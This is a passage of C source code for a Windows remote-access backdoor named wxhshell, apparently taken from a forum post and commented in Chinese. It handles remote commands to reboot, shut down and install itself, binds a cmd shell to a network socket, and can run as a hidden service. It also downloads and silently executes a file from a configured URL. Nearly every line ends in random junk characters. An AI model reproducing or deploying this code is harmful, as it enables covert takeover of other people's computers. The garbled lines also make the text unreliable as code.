      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (y~TL*B  
    break; mO7]9 p  
  } +~$ ]} %  
  // 安装 !wVM= z^G  
  case 'i': { sY&IquK^  
    if(Install()) j</: WRA`]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wqw1J=]  
    else *i%.;Z"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %5n_ p^xp  
    break; #=A)XlZMd  
    } LL~%f &_  
  // 卸载 *] ) `z8Ox  
  case 'r': { ]h+j)J}[A  
    if(Uninstall()) R 'zWYQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FcU SE  
    else R__OP`!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hL{KRRf>  
    break; [RhO$c$[\  
    } ea 'D td  
  // 显示 wxhshell 所在路径 ^}o2  
  case 'p': { !l8PDjAE  
    char svExeFile[MAX_PATH]; L#sMSVC+  
    strcpy(svExeFile,"\n\r"); :DNY7TvZ  
      strcat(svExeFile,ExeFile); 0S!K{xyR  
        send(wsh,svExeFile,strlen(svExeFile),0); ,#9PxwrO  
    break; (hbyEQhF  
    } O_7|C\]  
  // 重启 VY4yS*y  
  case 'b': { _]H&,</  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c-5)QF) z  
    if(Boot(REBOOT)) JK5gQ3C[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nDxz~8  
    else { !_)[/q"  
    closesocket(wsh); VpDbHAg  
    ExitThread(0); h*](a_0  
    } iqWQ!r^  
    break; ggR.4&<  
    } 6LIJ Q  
  // 关机 HIZe0%WPw  
  case 'd': { Kn1a>fLaJ_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E ~<JC"]  
    if(Boot(SHUTDOWN)) rjYJs*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_,jgg7  
    else { >|UOz&  
    closesocket(wsh); %IWPM"  
    ExitThread(0); %>{0yEC  
    } Tyx_/pJT  
    break; 3f{3NzN  
    } s.C_Zf~3  
  // 获取shell aqk!T%fg  
  case 's': { UZ+<\+q3^  
    CmdShell(wsh); M .mfw#*  
    closesocket(wsh); D'Q\za  
    ExitThread(0); eeB{c.#  
    break; N`e[:[  
  } XXa|BZ1RX  
  // 退出 cVF "!.  
  case 'x': { ?6WY:Zec@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AoxA+.O  
    CloseIt(wsh); h2d(?vOT  
    break; i8]S:49  
    } T_4/C2  
  // 离开 @K-">f  
  case 'q': { ISvpQ 3{)s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0 kW,I  
    closesocket(wsh); ]}Yl7/gM1}  
    WSACleanup(); "4{r6[dn  
    exit(1); wf<M)Rs|  
    break; }BP;1y6-r  
        } KbeC"mi  
  } Qvhl4-XjZa  
  } H/M@t\$Dc  
cbTm'}R(G  
  // 提示信息 <Q3c[ Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .$vK&k  
} 7qS)c}Q\  
  } Y}wyw8g/  
G4"F+%.  
  return; 5r ^(P  
} I; rGD^  
WH^%:4  
// shell模块句柄 nU7[c| =  
int CmdShell(SOCKET sock) EADqC>  
{ w``U=sfmV  
STARTUPINFO si; {)sdiE  
ZeroMemory(&si,sizeof(si)); Zj'9rXhrM1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u>vL/nI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p4Z(^+Aa  
PROCESS_INFORMATION ProcessInfo; r9?Mw06Wc5  
char cmdline[]="cmd"; EfT=?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dSHDWu&  
  return 0; G18b$z  
} TB31- ()  
La[V$+Y  
// 自身启动模式 ZbKg~jdF  
int StartFromService(void) `Urhy#LC  
{ FGzwhgy  
typedef struct 0w7DsPdS  
{ ?}Y]|c^W  
  DWORD ExitStatus; oQJtUP%  
  DWORD PebBaseAddress; pd$[8Rmj_  
  DWORD AffinityMask; _lq`a\7e  
  DWORD BasePriority; Tw<q,O  
  ULONG UniqueProcessId; 6_B]MN!(  
  ULONG InheritedFromUniqueProcessId; x kD6Iw  
}   PROCESS_BASIC_INFORMATION; MF'JeM;H  
6ik$B   
PROCNTQSIP NtQueryInformationProcess; o)/ 0a  
"#g}ve,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <1TAw.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <F'\lA9  
J<lW<:!3]  
  HANDLE             hProcess; JW&gJASGC  
  PROCESS_BASIC_INFORMATION pbi; gjlx~.0d  
!5!<C,U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {{!-Gr  
  if(NULL == hInst ) return 0; Q+{n-? :  
 Nz-&MS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); );YDtGip J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %BQ`MZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uXiN~j &Be  
?e?!3Bx;EM  
  if (!NtQueryInformationProcess) return 0; uQzXfOq  
/x *3}oI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \w8\1~#  
  if(!hProcess) return 0; 7d\QB (~  
K (|}dl:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @O~pV`_tD  
nJ;.Td  
  CloseHandle(hProcess); R.3q0yZ wF  
~}Pfu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lEBLZ}}\  
if(hProcess==NULL) return 0; |uJ%5y#  
Dha1/g1q  
HMODULE hMod; ;9#KeA _  
char procName[255]; ia? c0xL  
unsigned long cbNeeded; [G3E%z  
yt2PU_),  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6L~n.5B~o  
E?@m?@*/  
  CloseHandle(hProcess); CvdN"k  
: rVnc =k  
if(strstr(procName,"services")) return 1; // 以服务启动 cz$2R  
/mZE/>&~ ,  
  return 0; // 注册表启动 Zwx%7l;C  
} !5N.B|N t  
St^5Byd<  
// 主模块 xyxy`qRA  
int StartWxhshell(LPSTR lpCmdLine) @(lh%@hO  
{ 7|H$ /]  
  SOCKET wsl; }QmqoCAE~m  
BOOL val=TRUE; _u Il  
  int port=0; xYB{;K  
  struct sockaddr_in door; nr3==21Om4  
pK4)yu+  
  if(wscfg.ws_autoins) Install(); 1.>m@Slr>  
ptaKf4P^r  
port=atoi(lpCmdLine); lLIA w$  
QsW/X0YBv  
if(port<=0) port=wscfg.ws_port; 1 TXioDs=_  
"Y.y:Vv;  
  WSADATA data; p K$`$H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R|Q?KCI&  
8?C5L8)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (-co.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #LNED)Vg  
  door.sin_family = AF_INET; 7[wPn`v2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dF2RH)Ud  
  door.sin_port = htons(port); D/' dTrR  
Qg/rRiV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ss-D(K"  
closesocket(wsl); 2t,zLwBdnJ  
return 1; Bbp|!+KP{(  
} LH6 vLuf  
 =BrRYA  
  if(listen(wsl,2) == INVALID_SOCKET) { K> e7pu  
closesocket(wsl); >R=|Wo`Ri  
return 1; wKHBAW[i]  
} fXB0j;A  
  Wxhshell(wsl); Z6m)tZVM  
  WSACleanup(); ?@89lLD  
:v 4]D4\o  
return 0; IR bfNq^:  
WF"k[2  
} #LCb  
LgYq.>Nl9  
// 以NT服务方式启动 [00m/fT6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $od7;%  
{ %XTI-B/K  
DWORD   status = 0; x)VJFuqy  
  DWORD   specificError = 0xfffffff; =\d?'dII:  
Xm&L B X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g,Y/M3>(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ap !lQ>p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w*Ihk)  
  serviceStatus.dwWin32ExitCode     = 0; "7`<~>9t.  
  serviceStatus.dwServiceSpecificExitCode = 0; .|=\z9_7S8  
  serviceStatus.dwCheckPoint       = 0; &.ACd+Cd  
  serviceStatus.dwWaitHint       = 0; <-0]i_4sK  
92-I~ !d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WPDyu.QD  
  if (hServiceStatusHandle==0) return; A)KZa"EX  
0BsYavCR  
status = GetLastError(); 2TuU2 f.  
  if (status!=NO_ERROR) y> (w\K9W  
{ 8>%hz$no=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (iGTACoF  
    serviceStatus.dwCheckPoint       = 0; ~{gqsuCCL  
    serviceStatus.dwWaitHint       = 0; q'11^V!0  
    serviceStatus.dwWin32ExitCode     = status; B1Oq!k  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'ig'cRD6N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hzC>~Ub5  
    return; r_.S>]  
  } *$*ce|V5  
Vz[C=_m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a: K[ y  
  serviceStatus.dwCheckPoint       = 0; @|)Z"m7  
  serviceStatus.dwWaitHint       = 0; 8r!zBKq2~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nF/OPd  
} ~_ a-E  
$]8Q(/mbK  
// 处理NT服务事件,比如:启动、停止 F<w/PMb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RT5T1K08I  
{ {^\r`V p  
switch(fdwControl) 3N:D6w-R  
{ ::F|8  
case SERVICE_CONTROL_STOP: Np)lIGE  
  serviceStatus.dwWin32ExitCode = 0; :i7;w%B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =qIyqbXz  
  serviceStatus.dwCheckPoint   = 0; )_NO4`ejs/  
  serviceStatus.dwWaitHint     = 0; Q7A MRrN  
  { |D.ND%K&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;=UsAB]  
  } WjjB<YKzF  
  return; {_dvx*M  
case SERVICE_CONTROL_PAUSE: U%<Inb}ad  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WN<zkM~3  
  break; QdC<Sk!G  
case SERVICE_CONTROL_CONTINUE: . [ mR M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *9i{,I@  
  break; KGpA2Nx  
case SERVICE_CONTROL_INTERROGATE: L_s:l9!r  
  break; v9UD%@tZ  
}; &VcV$8k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q3SS/eNP  
} 6`-jPR  
UY 2OZ& &  
// 标准应用程序主函数 Ic4H#w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,v&(YOd  
{ EZ`{Wnbq  
VD\=`r)nT  
// 获取操作系统版本 4H<lm*!^  
OsIsNt=GetOsVer(); OUXR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I`p;F!s  
<d_!mKw  
  // 从命令行安装 BF<ikilR  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ry_nKr9  
_/K_[w 1  
  // 下载执行文件 /FJu)H..U  
if(wscfg.ws_downexe) { 6MkP |vr6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6K<K  
  WinExec(wscfg.ws_filenam,SW_HIDE); !0cD$^7  
} 0K2`-mL  
""|Qtubv  
if(!OsIsNt) { *=c1d o%F  
// 如果时win9x,隐藏进程并且设置为注册表启动 @|%2f@h  
HideProc(); !GGkdg*-*9  
StartWxhshell(lpCmdLine); I.k *GW  
} 6i~WcAs  
else 3Ims6I]  
  if(StartFromService()) %|i`kYsy  
  // 以服务方式启动 :Z z '1C  
  StartServiceCtrlDispatcher(DispatchTable); o.l- 7  
else 'X2POay1  
  // 普通方式启动 u-5{U-^_  
  StartWxhshell(lpCmdLine); d{7 +w/Zi  
6f*CvW  
return 0; H+Sz=tg5  
}
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只看该作者 1 发表于: 2006-10-10
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